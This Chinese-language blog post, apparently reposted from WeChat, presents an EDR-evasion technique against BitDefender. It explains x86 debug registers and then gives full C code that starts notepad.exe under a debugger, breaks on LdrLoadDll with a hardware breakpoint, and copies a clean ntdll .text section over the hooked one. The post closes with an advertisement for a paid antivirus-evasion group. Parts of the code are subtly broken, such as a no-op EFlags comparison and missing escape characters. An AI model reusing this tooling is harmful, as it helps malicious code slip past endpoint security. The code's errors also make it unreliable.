简介
我们首先来了解一软件断点,软件断点其实就是在目标地址上注入一个int 3
指令,也就是0xCC
操作码。那么当CPU
执行到该地址时会引发异常。通常是EXCEPTION_BREAKPOINT
。最后异常处理器捕获到异常,暂停程序执行并运行调试器进行相应的操作。
如下图:
软件断点很简单,主要是硬件断点,x86
和x64
架构提供了一组寄存器用于硬件断点的设置和控制。首先是DR0-DR3
寄存器,这四个寄存器是用于存储断点的地址,当这些地址被访问时,会触发断点异常。DR6
寄存器用于存储断点的状态,DR7
寄存器用于配置和启动硬件断点,每个断点都有两位,用于启动和禁用。
硬件断点设置的类型:
-
执行断点: 在指定地址执行指令时触发。
-
写断点: 在指定地址写入数据时触发。
-
读写断点: 在指定地址读写或写入数据时触发。
那么这意味着当处理器执行程序时,会检查当前指令或内存访问是否匹配DR0-DR3
中的地址,如果匹配,则检查DR7
寄存器中的配置,如果启用了相应的断点且条件满足的话,处理器会触发一个异常,该异常名为EXCEPTION_SINGLE_STEP
,最后暂停执行并通知调试器。
硬件断点挂钩工作原理
当程序执行到硬件断点的地址时,CPU
触发EXCEPTION_SINGLE_STEP
异常,暂停当前执行,CPU
将控制权交给事先注册好的异常处理程序。该异常处理程序负责拦截断点异常,拦截之后,不会再去执行原函数,而且调用预先定义好的自定义函数,自定义函数执行完毕之后,异常处理程序可以选择恢复原函数执行或跳过执行。
DR7寄存器
DR7
寄存器用于配置和控制硬件断点的行为,DR7
包含多个字段,这些字段用于启用或禁用断点以及设置断点的条件和类型。
‘DR7
寄存器有32
位:
0 | L0 | 局部断点 0 使能标志。如果设置,则启用 Dr0 中的断点。 |
---|---|---|
1 | G0 | 全局断点 0 使能标志。如果设置,则启用 Dr0 中的断点。 |
2 | L1 | 局部断点 1 使能标志。如果设置,则启用 Dr1 中的断点。 |
3 | G1 | 全局断点 1 使能标志。如果设置,则启用 Dr1 中的断点。 |
4 | L2 | 局部断点 2 使能标志。如果设置,则启用 Dr2 中的断点。 |
5 | G2 | 全局断点 2 使能标志。如果设置,则启用 Dr2 中的断点。 |
6 | L3 | 局部断点 3 使能标志。如果设置,则启用 Dr3 中的断点。 |
7 | G3 | 全局断点 3 使能标志。如果设置,则启用 Dr3 中的断点。 |
8-15 | LE, GE, Reserved | 保留位 |
16-17 | RW0 | 断点 0 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。 |
18-19 | LEN0 | 断点 0 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。 |
20-21 | RW1 | 断点 1 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。 |
22-23 | LEN1 | 断点 1 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。 |
24-25 | RW2 | 断点 2 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。 |
26-27 | LEN2 | 断点 2 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。 |
28-29 | RW3 | 断点 3 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。 |
30-31 | LEN3 | 断点 3 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。 |
启用 Dr0 中的硬件断点:将 G0 标志设置为 1。
启用 Dr1 中的硬件断点:将 G1 标志设置为 1。
启用 Dr2 中的硬件断点:将 G2 标志设置为 1。
启用 Dr3 中的硬件断点:将 G3 标志设置为 1。
至于G0
和L0
的区别在于一个是全局一个是局部。局部断点仅在当前线程或进程中有作用,如果任务谢欢,则局部断点会被清除。
-
需要注意的是硬件断点值针对于每个线程来独立设置的,意味着每一个线程可以独立设置和管理他们的硬件断点。
-
硬件断点依赖于特定的调试寄存器来存储断点地址。每一个线程都有自己的这些寄存器(
DR0 DR1 DR2 DR3
),每个线程最多只能同时安装4个硬件断点。 -
使用
GetThreadContext
函数以及SetThreadContext
函数来设置和移除硬件断点。
我们来简单整理一下思路,本质上其实就是首先注册异常处理程序,通过获取线程上下文来设置硬件断点,主要设置DR0-DR3
以及DR7
寄存器。设置为目标函数地址(例如MessageBox
)之后,当调用MessageBox
函数时就会触发硬件断点,在异常处理函数中去判断是否是EXCEPTION_SINGLE_STEP
异常代码,如果是,继续判断设置的地址是否和DR0-DR3
寄存器中的地址一样。如果一样,则移除硬件断点,也就是将DR7
寄存器设置为0x0
,如果不移除硬件断点则会导致无限循环。最后调用自定义Hook
函数。
那么我们就可以通过硬件断点来尝试规避EDR
。我们可以在调试模式下创建一个新的进程,并在LdrLoadDll
函数设置硬件断点,使其仅加载Ntdll.dll
。
-
进程创建时,ntdll.dll 会自动加载,但通常还会加载其他 DLL 文件。
-
通过 在 LdrLoadDLL 处设置断点,可以拦截 DLL 加载,确保进程仅加载 ntdll.dll,而不会加载其他 DLL。
-
这样,ntdll.dll 处于一个“干净”(未被挂钩)的状态,不会受到任何外部钩子的影响。
-
攻击者可以将该干净的 ntdll 内存复制到现有进程,从而移除所有先前被挂钩的系统调用(syscalls)。
我的理解是首先创建一个调试的进程,然后通过GetModuleHandle
函数获取到Ntdll.dll
模块的基地址,通过GetProcAddress
函数来获取到LdrLoadDll
函数的基地址。那么创建调试的这个进程的函数,返回值将为PROCESS_INFORMATION
。
通过该返回值中的hThread
字段可以获取到该调试进程的线程。那么拿到了调试进程的线程之后,就可以通过SetHwBp
函数对其设置硬件断点,该断点是设置在调试进程的线程上的。
我们来看一下如下代码:
#include <windows.h>
#include <stdio.h>
// 获取模块基地址
// 修正后的 createProcessInDebug 函数 (C 版本)
PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
// 初始化结构体
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// 复制 processName 到可修改的缓冲区
wchar_t commandLine[MAX_PATH];
wcscpy_s(commandLine, MAX_PATH, processName);
// 创建调试进程
BOOL success = CreateProcessW(
NULL, // 应用程序名称 (NULL 表示使用 commandLine)
commandLine, // 命令行缓冲区
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 句柄继承标志
DEBUG_PROCESS, // 进程创建标志 (调试模式)
NULL, // 进程环境
NULL, // 当前目录
&si, // STARTUPINFO 结构体
&pi // PROCESS_INFORMATION 结构体
);
// 如果创建失败,输出错误信息
if (!success) {
fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());
}
return pi;
}
VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
ctx.Dr0 = address;
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
DEBUG_EVENT dbgEvent;
while (1) {
if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) {
break;
}
if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {
CONTEXT newCtx = { 0 };
newCtx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &newCtx);
if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {
newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;
newCtx.EFlags != (1 << 8);
return;
}
else {
newCtx.Dr0 = address;
newCtx.Dr7 = 0x000000001;
newCtx.EFlags &= ~(1 << 8);
}
SetThreadContext(hThread, &newCtx);
}
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
}
int main() {
HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");
PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");
const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";
// 调用 createProcessInDebug
PROCESS_INFORMATION pi = createProcessInDebug(processPath);
SetHwBp(ldrLoadBase, pi.hThread);
}
这里主要解释一下SetHwBp
函数,该函数接收LdrLoadDll
函数的地址以及调试线程。首先通过SetThreadContext
来更新线程上下文,这里设置了DR0
和DR7
寄存器,DR0
寄存器中存储硬件断点的地址,DR7
寄存器设置为1
表示启用硬件断点。
下面是一个无限循环,通过WaitForDebugEvent
函数等待调试事件。当接收到事件时,判断该事件是否是当一个新的进程被创建时(CREATE_PROCESS_DEBUG_EVENT
)并且是否是异常导致的事件,事件类型为EXCEPTION_SINGLE_STEP
。如果是的话,通过GetThreadContext
函数来填充newCtx
新的Context
结构。判断异常断点的地址是否和LdrLoadDll
函数的地址一致,如果一致则清除DR0 DR6 DR7
寄存器,并且不返回任何内容,这样做的原因是为了阻止LdrLoadDll
加载其他的DLL
文件。
那么我们在想如果没有硬件断点的话,是否notepad.exe
会加载所有的dll
文件吗?
如下代码:
#include <windows.h>
#include <stdio.h>
// 获取模块基地址
// 修正后的 createProcessInDebug 函数 (C 版本)
PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
// 初始化结构体
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// 复制 processName 到可修改的缓冲区
wchar_t commandLine[MAX_PATH];
wcscpy_s(commandLine, MAX_PATH, processName);
// 创建调试进程
BOOL success = CreateProcessW(
NULL, // 应用程序名称 (NULL 表示使用 commandLine)
commandLine, // 命令行缓冲区
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 句柄继承标志
DEBUG_PROCESS, // 进程创建标志 (调试模式)
NULL, // 进程环境
NULL, // 当前目录
&si, // STARTUPINFO 结构体
&pi // PROCESS_INFORMATION 结构体
);
// 如果创建失败,输出错误信息
if (!success) {
fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());
}
return pi;
}
VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {
DEBUG_EVENT dbgEvent;
while (WaitForDebugEvent(&dbgEvent, INFINITE)) {
// 处理调试事件
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
}
int main() {
HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");
PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");
const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";
// 调用 createProcessInDebug
PROCESS_INFORMATION pi = createProcessInDebug(processPath);
//CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
//GetThreadContext(pi.hThread, &ThreadCtx);
SetHwBp(ldrLoadBase, pi.hThread);
//ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId, DBG_CONTINUE);
getchar();
}
如下图中可以看到成功加载。
那么最后其实就是将其覆盖.text
部分了。
如下完整代码:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 获取模块基地址
// 修正后的 createProcessInDebug 函数 (C 版本)
PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
// 初始化结构体
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// 复制 processName 到可修改的缓冲区
wchar_t commandLine[MAX_PATH];
wcscpy_s(commandLine, MAX_PATH, processName);
// 创建调试进程
BOOL success = CreateProcessW(
NULL, // 应用程序名称 (NULL 表示使用 commandLine)
commandLine, // 命令行缓冲区
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 句柄继承标志
DEBUG_PROCESS, // 进程创建标志 (调试模式)
NULL, // 进程环境
NULL, // 当前目录
&si, // STARTUPINFO 结构体
&pi // PROCESS_INFORMATION 结构体
);
// 如果创建失败,输出错误信息
if (!success) {
fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());
}
return pi;
}
VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
ctx.Dr0 = address;
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
DEBUG_EVENT dbgEvent;
while (1) {
if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) {
break;
}
if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {
CONTEXT newCtx = { 0 };
newCtx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &newCtx);
if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {
newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;
newCtx.EFlags != (1 << 8);
return;
}
else {
newCtx.Dr0 = address;
newCtx.Dr7 = 0x000000001;
newCtx.EFlags &= ~(1 << 8);
}
SetThreadContext(hThread, &newCtx);
}
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
}
typedef NTSTATUS(NTAPI* pNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG Length,
PULONG ReturnLength
);
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
// 在 64 位系统中,通过 __readgsqword 获取 PEB 地址
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
// 在 32 位系统中,通过 __readfsdword 获取 PEB 地址
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64
// 通过 PEB 获取到当前进程的模块信息
// 我们知道 'ntdll.dll' 是在 'SuspendedProcessUnhooking.exe' 之后的第二个映像
// 0x10 是 LIST_ENTRY 结构体的大小
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
// 返回 ntdll.dll 模块的基地址
return pLdr->DllBase;
}
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
// 获取当前进程中 ntdll.dll 的基地址
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// 获取 DOS 头
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) // 检查 DOS 签名
return FALSE;
// 获取 NT 头
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) // 检查 NT 签名
return FALSE;
// 定义指针和变量
PVOID pLocalNtdllTxt = NULL; // 本地 ntdll.dll 的 `.text` 段基地址
PVOID pRemoteNtdllTxt = NULL; // 未挂钩的 ntdll.dll 的 `.text` 段基地址
SIZE_T sNtdllTxtSize = NULL; // `.text` 段的大小
// 获取 `.text` 段
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// 判断当前段是否是 `.text` 段(段名比较)
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
// 计算本地和远程 ntdll.dll 的 `.text` 段基地址
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize; // 获取 `.text` 段大小
break;
}
}
//------------------------------------------------------------------------------------------------------------------------
// 检查是否成功获取到 `.text` 段的所有必要信息
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
// 检查 `pRemoteNtdllTxt` 是否确实是 `.text` 段的基地址
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
//------------------------------------------------------------------------------------------------------------------------
DWORD dwOldProtection = NULL;
// 修改 `.text` 段的内存保护属性为可写和可执行
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());
return FALSE;
}
// 复制未挂钩的 `.text` 段内容到本地的 `.text` 段
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// 恢复 `.text` 段的原内存保护属性
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());
return FALSE;
}
return TRUE; // 替换成功
}
VOID CopyNtdllFromDebugProcess(HANDLE hProc,DWORD pid) {
HMODULE kernel32base = GetModuleHandleA("kernel32.dll");
HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");
pNtReadVirtualMemory preadvir = (pNtReadVirtualMemory)GetProcAddress(ntdllbase, "NtReadVirtualMemory");
// 获取 ntdll.dll 的 DOS 头和 NT 头
PIMAGE_DOS_HEADER imagedosheader = (PIMAGE_DOS_HEADER)ntdllbase;
PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)ntdllbase + imagedosheader->e_lfanew);
// 获取 optional header
IMAGE_OPTIONAL_HEADER OpHeader = ntHeader->OptionalHeader;
// 获取 ntdll.dll 的大小
DWORD ntdllsize = OpHeader.SizeOfImage;
PBYTE freshNtdll = (PBYTE)malloc(ntdllsize);
NTSTATUS status = preadvir(hProc, (PVOID)ntdllbase, freshNtdll, ntdllsize, 0);
//终止进程
DebugActiveProcessStop(pid);
TerminateProcess(hProc, 0);
ReplaceNtdllTxtSection(freshNtdll);
}
int main() {
HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");
PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");
const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";
// 调用 createProcessInDebug
PROCESS_INFORMATION pi = createProcessInDebug(processPath);
SetHwBp(ldrLoadBase, pi.hThread);
CopyNtdllFromDebugProcess(pi.hProcess,pi.dwProcessId);
getchar();
}
欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新103+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》
加好友备注(星球)!!!
一些纷传的资源:
原文始发于微信公众号(Relay学安全):利用硬件断点来Unhook BitDefender
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论